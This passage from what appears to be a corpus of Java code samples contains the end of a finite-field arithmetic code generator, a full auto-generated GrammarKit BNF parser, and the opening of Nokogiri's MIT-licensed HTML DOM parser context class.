(jDiff > 1) {\n                    result.append (\" + \");\n                }\n                result.append(\"(a[\" + aIndex + \"] * a[\" + aIndex + \"])\");\n            }\n            result.append(\";\\n\");\n        }\n        result.appendLine();\n        result.appendIndent();\n        result.append(\"carryReduce(r, \");\n        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {\n            result.append(\"c\" + i);\n            if (i < 2 * params.getNumLimbs() - 2) {\n                result.append(\", \");\n            }\n        }\n        result.append(\");\\n\");\n        result.decrIndent();\n        result.appendLine(\"}\");\n\n        result.decrIndent();\n        result.appendLine(\"}\"); // end class\n\n        return result.toString();\n    }\n\n    private static void write(CodeBuffer out, List<CarryReduce> sequence, FieldParams params, String prefix, int numLimbs) {\n\n        out.startCrSequence(numLimbs);\n        for (int i = 0; i < sequence.size(); i++) {\n            CarryReduce cr = sequence.get(i);\n            Iterator<CarryReduce> remainingIter = sequence.listIterator(i + 1);\n            List<CarryReduce> remaining = new ArrayList<CarryReduce>();\n            remainingIter.forEachRemaining(remaining::add);\n            cr.write(out, params, prefix, remaining);\n        }\n    }\n\n    private static void reduce(CodeBuffer out, FieldParams params, String prefix, int index, Iterable<CarryReduce> remaining) {\n\n        out.record(Reduce.class);\n\n        out.appendLine(\"//reduce from position \" + index);\n        String reduceFrom = indexedExpr(false, prefix, index);\n        boolean referenced = false;\n        for (CarryReduce cr : remaining) {\n            if(cr.index == index) {\n                referenced = true;\n            }\n        }\n        for (Term t : params.getTerms()) {\n            int reduceBits = params.getPower() - t.getPower();\n            int negatedCoefficient = -1 * t.getCoefficient();\n            modReduceInBits(out, params, false, prefix, index, reduceBits, negatedCoefficient, reduceFrom);\n        }\n        if (referenced) {\n            out.appendLine(reduceFrom + \" = 0;\");\n        }\n    }\n\n    private static void carry(CodeBuffer out, FieldParams params, String prefix, int index) {\n\n        out.record(Carry.class);\n\n        out.appendLine(\"//carry from position \" + index);\n        String carryFrom = prefix + index;\n        String carryTo = prefix + (index + 1);\n        String carry = \"(\" + carryFrom + \" + CARRY_ADD) >> \" + params.getBitsPerLimb();\n        String temp = out.getTemporary(\"long\", carry);\n        out.appendLine(carryFrom + \" -= (\" + temp + \" << \" + params.getBitsPerLimb() + \");\");\n        out.appendLine(carryTo + \" += \" + temp + \";\");\n        out.freeTemporary(temp);\n    }\n\n    private static String indexedExpr(boolean isArray, String prefix, int index) {\n        String result = prefix + index;\n        if (isArray) {\n            result = prefix + \"[\" + index + \"]\";\n        }\n        return result;\n    }\n\n    private static void modReduceInBits(CodeBuffer result, FieldParams params, boolean isArray, String prefix, int index, int reduceBits, int coefficient, String c) {\n\n        String x = coefficient + \" * \" + c;\n        String accOp = \"+=\";\n        String temp = null;\n        if (coefficient == 1) {\n            x = c;\n        } else if (coefficient == -1) {\n            x = c;\n            accOp = \"-=\";\n        } else {\n            temp = result.getTemporary(\"long\", x);\n            x = temp;\n        }\n\n        if (reduceBits % params.getBitsPerLimb() == 0) {\n            int pos = reduceBits / params.getBitsPerLimb();\n            result.appendLine(indexedExpr(isArray, prefix, (index - pos)) + \" \" + accOp + \" \" + x + \";\");\n        } else {\n            int secondPos = reduceBits / params.getBitsPerLimb();\n            int bitOffset = (secondPos + 1) * params.getBitsPerLimb() - reduceBits;\n            int rightBitOffset = params.getBitsPerLimb() - bitOffset;\n            result.appendLine(indexedExpr(isArray, prefix, (index - (secondPos + 1))) + \" \" + accOp + \" (\" + x + \" << \" + bitOffset + \") & LIMB_MASK;\");\n            result.appendLine(indexedExpr(isArray, prefix, (index - secondPos)) + \" \" + accOp + \" \" + x + \" >> \" + rightBitOffset + \";\");\n        }\n\n        if (temp != null) {\n            result.freeTemporary(temp);\n        }\n    }\n\n    private String readHeader() throws IOException {\n        BufferedReader reader = Files.newBufferedReader(Paths.get(\"header.txt\"));\n        StringBuffer result = new StringBuffer();\n        reader.lines().forEach(s -> result.append(s + \"\\n\"));\n        return result.toString();\n    }\n}\n\nFieldGen.main(null);\n\n"
  },
  {
    "path": "samples/Java/GrammarKit.java",
    "content": "// This is a generated file. Not intended for manual editing.\npackage org.intellij.grammar.parser;\n\nimport com.intellij.lang.PsiBuilder;\nimport com.intellij.lang.PsiBuilder.Marker;\nimport static org.intellij.grammar.psi.BnfTypes.*;\nimport static org.intellij.grammar.parser.GeneratedParserUtilBase.*;\nimport com.intellij.psi.tree.IElementType;\nimport com.intellij.lang.ASTNode;\nimport com.intellij.psi.tree.TokenSet;\nimport com.intellij.lang.PsiParser;\nimport com.intellij.lang.LightPsiParser;\n\n@SuppressWarnings({\"SimplifiableIfStatement\", \"UnusedAssignment\"})\npublic class GrammarParser implements PsiParser, LightPsiParser {\n\n  public ASTNode parse(IElementType t, PsiBuilder b) {\n    parseLight(t, b);\n    return b.getTreeBuilt();\n  }\n\n  public void parseLight(IElementType t, PsiBuilder b) {\n    boolean r;\n    b = adapt_builder_(t, b, this, EXTENDS_SETS_);\n    Marker m = enter_section_(b, 0, _COLLAPSE_, null);\n    if (t == BNF_ATTR) {\n      r = attr(b, 0);\n    }\n    else if (t == BNF_ATTR_PATTERN) {\n      r = attr_pattern(b, 0);\n    }\n    else if (t == BNF_ATTR_VALUE) {\n      r = attr_value(b, 0);\n    }\n    else if (t == BNF_ATTRS) {\n      r = attrs(b, 0);\n    }\n    else if (t == BNF_CHOICE) {\n      r = choice(b, 0);\n    }\n    else if (t == BNF_EXPRESSION) {\n      r = expression(b, 0);\n    }\n    else if (t == BNF_LITERAL_EXPRESSION) {\n      r = literal_expression(b, 0);\n    }\n    else if (t == BNF_MODIFIER) {\n      r = modifier(b, 0);\n    }\n    else if (t == BNF_PAREN_EXPRESSION) {\n      r = paren_expression(b, 0);\n    }\n    else if (t == BNF_PREDICATE) {\n      r = predicate(b, 0);\n    }\n    else if (t == BNF_PREDICATE_SIGN) {\n      r = predicate_sign(b, 0);\n    }\n    else if (t == BNF_QUANTIFIED) {\n      r = quantified(b, 0);\n    }\n    else if (t == BNF_QUANTIFIER) {\n      r = quantifier(b, 0);\n    }\n    else if (t == BNF_REFERENCE_OR_TOKEN) {\n      r = reference_or_token(b, 0);\n    }\n    else if (t == BNF_RULE) {\n      r = rule(b, 0);\n    }\n    else if (t == BNF_SEQUENCE) {\n      r = sequence(b, 0);\n    }\n    else if (t == BNF_STRING_LITERAL_EXPRESSION) {\n      r = string_literal_expression(b, 0);\n    }\n    else {\n      r = parse_root_(t, b, 0);\n    }\n    exit_section_(b, 0, m, t, r, true, TRUE_CONDITION);\n  }\n\n  protected boolean parse_root_(IElementType t, PsiBuilder b, int l) {\n    return grammar(b, l + 1);\n  }\n\n  public static final TokenSet[] EXTENDS_SETS_ = new TokenSet[] {\n    create_token_set_(BNF_LITERAL_EXPRESSION, BNF_STRING_LITERAL_EXPRESSION),\n    create_token_set_(BNF_CHOICE, BNF_EXPRESSION, BNF_LITERAL_EXPRESSION, BNF_PAREN_EXPRESSION,\n      BNF_PREDICATE, BNF_QUANTIFIED, BNF_REFERENCE_OR_TOKEN, BNF_SEQUENCE,\n      BNF_STRING_LITERAL_EXPRESSION),\n  };\n\n  /* ********************************************************** */\n  // id attr_pattern? '=' attr_value ';'?\n  public static boolean attr(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr\")) return false;\n    boolean r, p;\n    Marker m = enter_section_(b, l, _NONE_, \"<attr>\");\n    r = consumeToken(b, BNF_ID);\n    p = r; // pin = 1\n    r = r && report_error_(b, attr_1(b, l + 1));\n    r = p && report_error_(b, consumeToken(b, BNF_OP_EQ)) && r;\n    r = p && report_error_(b, attr_value(b, l + 1)) && r;\n    r = p && attr_4(b, l + 1) && r;\n    exit_section_(b, l, m, BNF_ATTR, r, p, attr_recover_until_parser_);\n    return r || p;\n  }\n\n  // attr_pattern?\n  private static boolean attr_1(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr_1\")) return false;\n    attr_pattern(b, l + 1);\n    return true;\n  }\n\n  // ';'?\n  private static boolean attr_4(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr_4\")) return false;\n    consumeToken(b, BNF_SEMICOLON);\n    return true;\n  }\n\n  /* ********************************************************** */\n  // '(' string ')'\n  public static boolean attr_pattern(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr_pattern\")) return false;\n    if (!nextTokenIs(b, BNF_LEFT_PAREN)) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = consumeToken(b, BNF_LEFT_PAREN);\n    r = r && consumeToken(b, BNF_STRING);\n    r = r && consumeToken(b, BNF_RIGHT_PAREN);\n    exit_section_(b, m, BNF_ATTR_PATTERN, r);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // !'}'\n  static boolean attr_recover_until(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr_recover_until\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NOT_, null);\n    r = !consumeToken(b, BNF_RIGHT_BRACE);\n    exit_section_(b, l, m, null, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // (reference_or_token | literal_expression) !'='\n  public static boolean attr_value(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr_value\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NONE_, \"<attr value>\");\n    r = attr_value_0(b, l + 1);\n    r = r && attr_value_1(b, l + 1);\n    exit_section_(b, l, m, BNF_ATTR_VALUE, r, false, null);\n    return r;\n  }\n\n  // reference_or_token | literal_expression\n  private static boolean attr_value_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr_value_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = reference_or_token(b, l + 1);\n    if (!r) r = literal_expression(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // !'='\n  private static boolean attr_value_1(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attr_value_1\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NOT_, null);\n    r = !consumeToken(b, BNF_OP_EQ);\n    exit_section_(b, l, m, null, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // '{' attr* '}'\n  public static boolean attrs(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attrs\")) return false;\n    if (!nextTokenIs(b, BNF_LEFT_BRACE)) return false;\n    boolean r, p;\n    Marker m = enter_section_(b, l, _NONE_, null);\n    r = consumeToken(b, BNF_LEFT_BRACE);\n    p = r; // pin = 1\n    r = r && report_error_(b, attrs_1(b, l + 1));\n    r = p && consumeToken(b, BNF_RIGHT_BRACE) && r;\n    exit_section_(b, l, m, BNF_ATTRS, r, p, null);\n    return r || p;\n  }\n\n  // attr*\n  private static boolean attrs_1(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"attrs_1\")) return false;\n    int c = current_position_(b);\n    while (true) {\n      if (!attr(b, l + 1)) break;\n      if (!empty_element_parsed_guard_(b, \"attrs_1\", c)) break;\n      c = current_position_(b);\n    }\n    return true;\n  }\n\n  /* ********************************************************** */\n  // '{' sequence ('|' sequence)* '}' | sequence choice_tail*\n  public static boolean choice(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"choice\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _COLLAPSE_, \"<choice>\");\n    r = choice_0(b, l + 1);\n    if (!r) r = choice_1(b, l + 1);\n    exit_section_(b, l, m, BNF_CHOICE, r, false, null);\n    return r;\n  }\n\n  // '{' sequence ('|' sequence)* '}'\n  private static boolean choice_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"choice_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = consumeToken(b, BNF_LEFT_BRACE);\n    r = r && sequence(b, l + 1);\n    r = r && choice_0_2(b, l + 1);\n    r = r && consumeToken(b, BNF_RIGHT_BRACE);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // ('|' sequence)*\n  private static boolean choice_0_2(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"choice_0_2\")) return false;\n    int c = current_position_(b);\n    while (true) {\n      if (!choice_0_2_0(b, l + 1)) break;\n      if (!empty_element_parsed_guard_(b, \"choice_0_2\", c)) break;\n      c = current_position_(b);\n    }\n    return true;\n  }\n\n  // '|' sequence\n  private static boolean choice_0_2_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"choice_0_2_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = consumeToken(b, BNF_OP_OR);\n    r = r && sequence(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // sequence choice_tail*\n  private static boolean choice_1(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"choice_1\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = sequence(b, l + 1);\n    r = r && choice_1_1(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // choice_tail*\n  private static boolean choice_1_1(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"choice_1_1\")) return false;\n    int c = current_position_(b);\n    while (true) {\n      if (!choice_tail(b, l + 1)) break;\n      if (!empty_element_parsed_guard_(b, \"choice_1_1\", c)) break;\n      c = current_position_(b);\n    }\n    return true;\n  }\n\n  /* ********************************************************** */\n  // '|' sequence\n  static boolean choice_tail(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"choice_tail\")) return false;\n    if (!nextTokenIs(b, BNF_OP_OR)) return false;\n    boolean r, p;\n    Marker m = enter_section_(b, l, _NONE_, null);\n    r = consumeToken(b, BNF_OP_OR);\n    p = r; // pin = 1\n    r = r && sequence(b, l + 1);\n    exit_section_(b, l, m, null, r, p, null);\n    return r || p;\n  }\n\n  /* ********************************************************** */\n  // choice?\n  public static boolean expression(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"expression\")) return false;\n    Marker m = enter_section_(b, l, _COLLAPSE_, \"<expression>\");\n    choice(b, l + 1);\n    exit_section_(b, l, m, BNF_EXPRESSION, true, false, null);\n    return true;\n  }\n\n  /* ********************************************************** */\n  // (attrs | rule) *\n  static boolean grammar(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"grammar\")) return false;\n    int c = current_position_(b);\n    while (true) {\n      if (!grammar_0(b, l + 1)) break;\n      if (!empty_element_parsed_guard_(b, \"grammar\", c)) break;\n      c = current_position_(b);\n    }\n    return true;\n  }\n\n  // attrs | rule\n  private static boolean grammar_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"grammar_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = attrs(b, l + 1);\n    if (!r) r = rule(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // string_literal_expression | number\n  public static boolean literal_expression(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"literal_expression\")) return false;\n    if (!nextTokenIs(b, \"<literal expression>\", BNF_NUMBER, BNF_STRING)) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _COLLAPSE_, \"<literal expression>\");\n    r = string_literal_expression(b, l + 1);\n    if (!r) r = consumeToken(b, BNF_NUMBER);\n    exit_section_(b, l, m, BNF_LITERAL_EXPRESSION, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // 'private' | 'external' | 'wrapped'\n  public static boolean modifier(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"modifier\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NONE_, \"<modifier>\");\n    r = consumeToken(b, \"private\");\n    if (!r) r = consumeToken(b, \"external\");\n    if (!r) r = consumeToken(b, \"wrapped\");\n    exit_section_(b, l, m, BNF_MODIFIER, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // quantified | predicate\n  static boolean option(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"option\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = quantified(b, l + 1);\n    if (!r) r = predicate(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // '(' expression ')'\n  public static boolean paren_expression(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"paren_expression\")) return false;\n    if (!nextTokenIs(b, BNF_LEFT_PAREN)) return false;\n    boolean r, p;\n    Marker m = enter_section_(b, l, _NONE_, null);\n    r = consumeToken(b, BNF_LEFT_PAREN);\n    p = r; // pin = 1\n    r = r && report_error_(b, expression(b, l + 1));\n    r = p && consumeToken(b, BNF_RIGHT_PAREN) && r;\n    exit_section_(b, l, m, BNF_PAREN_EXPRESSION, r, p, null);\n    return r || p;\n  }\n\n  /* ********************************************************** */\n  // predicate_sign  simple\n  public static boolean predicate(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"predicate\")) return false;\n    if (!nextTokenIs(b, \"<predicate>\", BNF_OP_NOT, BNF_OP_AND)) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NONE_, \"<predicate>\");\n    r = predicate_sign(b, l + 1);\n    r = r && simple(b, l + 1);\n    exit_section_(b, l, m, BNF_PREDICATE, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // '&' | '!'\n  public static boolean predicate_sign(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"predicate_sign\")) return false;\n    if (!nextTokenIs(b, \"<predicate sign>\", BNF_OP_NOT, BNF_OP_AND)) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NONE_, \"<predicate sign>\");\n    r = consumeToken(b, BNF_OP_AND);\n    if (!r) r = consumeToken(b, BNF_OP_NOT);\n    exit_section_(b, l, m, BNF_PREDICATE_SIGN, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // '[' expression ']' | simple quantifier?\n  public static boolean quantified(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"quantified\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _COLLAPSE_, \"<quantified>\");\n    r = quantified_0(b, l + 1);\n    if (!r) r = quantified_1(b, l + 1);\n    exit_section_(b, l, m, BNF_QUANTIFIED, r, false, null);\n    return r;\n  }\n\n  // '[' expression ']'\n  private static boolean quantified_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"quantified_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = consumeToken(b, BNF_LEFT_BRACKET);\n    r = r && expression(b, l + 1);\n    r = r && consumeToken(b, BNF_RIGHT_BRACKET);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // simple quantifier?\n  private static boolean quantified_1(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"quantified_1\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = simple(b, l + 1);\n    r = r && quantified_1_1(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // quantifier?\n  private static boolean quantified_1_1(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"quantified_1_1\")) return false;\n    quantifier(b, l + 1);\n    return true;\n  }\n\n  /* ********************************************************** */\n  // '?' | '+' | '*'\n  public static boolean quantifier(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"quantifier\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NONE_, \"<quantifier>\");\n    r = consumeToken(b, BNF_OP_OPT);\n    if (!r) r = consumeToken(b, BNF_OP_ONEMORE);\n    if (!r) r = consumeToken(b, BNF_OP_ZEROMORE);\n    exit_section_(b, l, m, BNF_QUANTIFIER, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // id\n  public static boolean reference_or_token(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"reference_or_token\")) return false;\n    if (!nextTokenIs(b, BNF_ID)) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = consumeToken(b, BNF_ID);\n    exit_section_(b, m, BNF_REFERENCE_OR_TOKEN, r);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // modifier* id '::=' expression attrs? ';'?\n  public static boolean rule(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"rule\")) return false;\n    boolean r, p;\n    Marker m = enter_section_(b, l, _NONE_, \"<rule>\");\n    r = rule_0(b, l + 1);\n    r = r && consumeToken(b, BNF_ID);\n    r = r && consumeToken(b, BNF_OP_IS);\n    p = r; // pin = 3\n    r = r && report_error_(b, expression(b, l + 1));\n    r = p && report_error_(b, rule_4(b, l + 1)) && r;\n    r = p && rule_5(b, l + 1) && r;\n    exit_section_(b, l, m, BNF_RULE, r, p, rule_recover_until_parser_);\n    return r || p;\n  }\n\n  // modifier*\n  private static boolean rule_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"rule_0\")) return false;\n    int c = current_position_(b);\n    while (true) {\n      if (!modifier(b, l + 1)) break;\n      if (!empty_element_parsed_guard_(b, \"rule_0\", c)) break;\n      c = current_position_(b);\n    }\n    return true;\n  }\n\n  // attrs?\n  private static boolean rule_4(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"rule_4\")) return false;\n    attrs(b, l + 1);\n    return true;\n  }\n\n  // ';'?\n  private static boolean rule_5(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"rule_5\")) return false;\n    consumeToken(b, BNF_SEMICOLON);\n    return true;\n  }\n\n  /* ********************************************************** */\n  // !'{'\n  static boolean rule_recover_until(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"rule_recover_until\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NOT_, null);\n    r = !consumeToken(b, BNF_LEFT_BRACE);\n    exit_section_(b, l, m, null, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // option +\n  public static boolean sequence(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"sequence\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _COLLAPSE_, \"<sequence>\");\n    r = option(b, l + 1);\n    int c = current_position_(b);\n    while (r) {\n      if (!option(b, l + 1)) break;\n      if (!empty_element_parsed_guard_(b, \"sequence\", c)) break;\n      c = current_position_(b);\n    }\n    exit_section_(b, l, m, BNF_SEQUENCE, r, false, null);\n    return r;\n  }\n\n  /* ********************************************************** */\n  // !(modifier* id '::=' ) reference_or_token | literal_expression | paren_expression\n  static boolean simple(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"simple\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = simple_0(b, l + 1);\n    if (!r) r = literal_expression(b, l + 1);\n    if (!r) r = paren_expression(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // !(modifier* id '::=' ) reference_or_token\n  private static boolean simple_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"simple_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = simple_0_0(b, l + 1);\n    r = r && reference_or_token(b, l + 1);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // !(modifier* id '::=' )\n  private static boolean simple_0_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"simple_0_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b, l, _NOT_, null);\n    r = !simple_0_0_0(b, l + 1);\n    exit_section_(b, l, m, null, r, false, null);\n    return r;\n  }\n\n  // modifier* id '::='\n  private static boolean simple_0_0_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"simple_0_0_0\")) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = simple_0_0_0_0(b, l + 1);\n    r = r && consumeToken(b, BNF_ID);\n    r = r && consumeToken(b, BNF_OP_IS);\n    exit_section_(b, m, null, r);\n    return r;\n  }\n\n  // modifier*\n  private static boolean simple_0_0_0_0(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"simple_0_0_0_0\")) return false;\n    int c = current_position_(b);\n    while (true) {\n      if (!modifier(b, l + 1)) break;\n      if (!empty_element_parsed_guard_(b, \"simple_0_0_0_0\", c)) break;\n      c = current_position_(b);\n    }\n    return true;\n  }\n\n  /* ********************************************************** */\n  // string\n  public static boolean string_literal_expression(PsiBuilder b, int l) {\n    if (!recursion_guard_(b, l, \"string_literal_expression\")) return false;\n    if (!nextTokenIs(b, BNF_STRING)) return false;\n    boolean r;\n    Marker m = enter_section_(b);\n    r = consumeToken(b, BNF_STRING);\n    exit_section_(b, m, BNF_STRING_LITERAL_EXPRESSION, r);\n    return r;\n  }\n\n  final static Parser attr_recover_until_parser_ = new Parser() {\n    public boolean parse(PsiBuilder b, int l) {\n      return attr_recover_until(b, l + 1);\n    }\n  };\n  final static Parser rule_recover_until_parser_ = new Parser() {\n    public boolean parse(PsiBuilder b, int l) {\n      return rule_recover_until(b, l + 1);\n    }\n  };\n}\n"
  },
  {
    "path": "samples/Java/HtmlDomParserContext.java",
    "content": "/**\n * (The MIT License)\n *\n * Copyright (c) 2008 - 2012:\n *\n * * {Aaron Patterson}[http://tenderlovemaking.com]\n * * {Mike Dalessio}[http://mike.daless.io]\n * * {Charles Nutter}[http://blog.headius.com]\n * * {Sergio Arbeo}[http://www.serabe.com]\n * * {Patrick Mahoney}[http://polycrystal.org]\n * * {Yoko Harada}[http://yokolet.blogspot.com]\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * 'Software'), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n * \n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\npackage nokogiri.internals;\n\nimport static nokogiri.internals.NokogiriHelpers.getNokogiriClass;\nimport static nokogiri.internals.NokogiriHelpers.isNamespace;\nimport static nokogiri.internals.NokogiriHelpers.stringOrNil;\nimport nokogiri.HtmlDocument;\nimport nokogiri.NokogiriService;\nimport nokogiri.XmlDocument;\n\nimport org.apache.xerces.parsers.DOMParser;\nimport org.apache.xerces.xni.Augmentations;\nimport org.apache.xerces.xni.QName;\nimport org.apache.xerces.xni.XMLAttributes;\nimport org.apache.xerces.xni.XNIException;\nimport org.apache.xerces.xni.parser.XMLDocumentFilter;\nimport org.apache.xerces.xni.parser.XMLParserConfiguration;\nimport org.cyberneko.html.HTMLConfiguration;\nimport org.cyberneko.html.filters.DefaultFilter;\nimport org.jruby.Ruby;\nimport org.jruby.RubyClass;\nimport org.jruby.runtime.ThreadContext;\nimport org.jruby.runtime.builtin.IRubyObject;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.NodeList;\n\n/**\n * Parser for HtmlDocument. This class actually parses HtmlDocument using NekoHtml.\n * \n * @author sergio\n * @author Patrick Mahoney <pat@polycrystal.org>\n * @author Yoko Harada <yokolet@gmail.com>\n */\npublic class HtmlDomParserContext extends XmlDomParserContext {\n\n    public HtmlDomParserContext(Ruby runtime, IRubyObject options) {\n        super(runtime, options);\n    }\n    \n    public HtmlDomParserContext(Ruby runtime, IRubyObject encoding, IRubyObject options) {\n        super(runtime, encoding, options);\n    }\n\n    @Override\n    protected void initErrorHandler() {\n        if (options.strict) {\n            errorHandler = new NokogiriStrictErrorHandler(options.noError, options.noWarning);\n        } else {\n            errorHandler = new NokogiriNonStrictErrorHandler4NekoHtml(options.noError, options.noWarning);\n        }\n    }\n\n    @Override\n    protected void initParser(Ruby runtime) {\n        XMLParserConfiguration config = new HTMLConfiguration();\n        XMLDocumentFilter removeNSAttrsFilter = new RemoveNSAttrsFilter();\n        XMLDocumentFilter elementValidityCheckFilter = new ElementValidityCheckFilter(errorHandler);\n        //XMLDocumentFilter[] filters = { removeNSAttrsFilter,  elementValidityCheckFilter};\n        XMLDocumentFilter[] filters = { elementValidityCheckFilter};\n\n        config.setErrorHandler(this.errorHandler);\n        parser = new DOMParser(config);\n\n        // see http://nekohtml.sourceforge.net/settings.html for details\n        setProperty(\"http://cyberneko.org/html/properties/default-encoding\", java_encoding);\n        setProperty(\"http://cyberneko.org/html/properties/names/elems\", \"lower\");\n        setProperty(\"http://cyberneko.org/html/properties/names/attrs\", \"lower\");\n        setProperty(\"http://cyberneko.org/html/properties/filters\", filters);\n        setFeature(\"http://cyberneko.org/html/features/report-errors\", true);\n        setFeature(\"http://xml.org/sax/features/namespaces\", false);\n        setFeature(\"http://cyberneko.org/html/features/insert-doctype\", true);\n    }\n\n    /**\n     * Enable NekoHTML feature for balancing tags in a document fragment.\n     * \n     * This method is used in XmlNode#in_context method.\n     */\n    public void enableDocumentFragment() {\n        setFeature(\"http://cyberneko.org/html/features/balance-tags/document-fragment\", true);\n    }\n\n    @Override\n    protected XmlDocument getNewEmptyDocument(ThreadContext context) {\n        IRubyObject[] args = new IRubyObject[0];\n        return (XmlDocument) XmlDocument.rbNew(context, getNokogiriClass(context.getRuntime(), \"Nokogiri::HTML::Document\"), args);\n    }\n\n    @Override\n    protected XmlDocument wrapDocument(ThreadContext context,\n                                       RubyClass klazz,\n                                      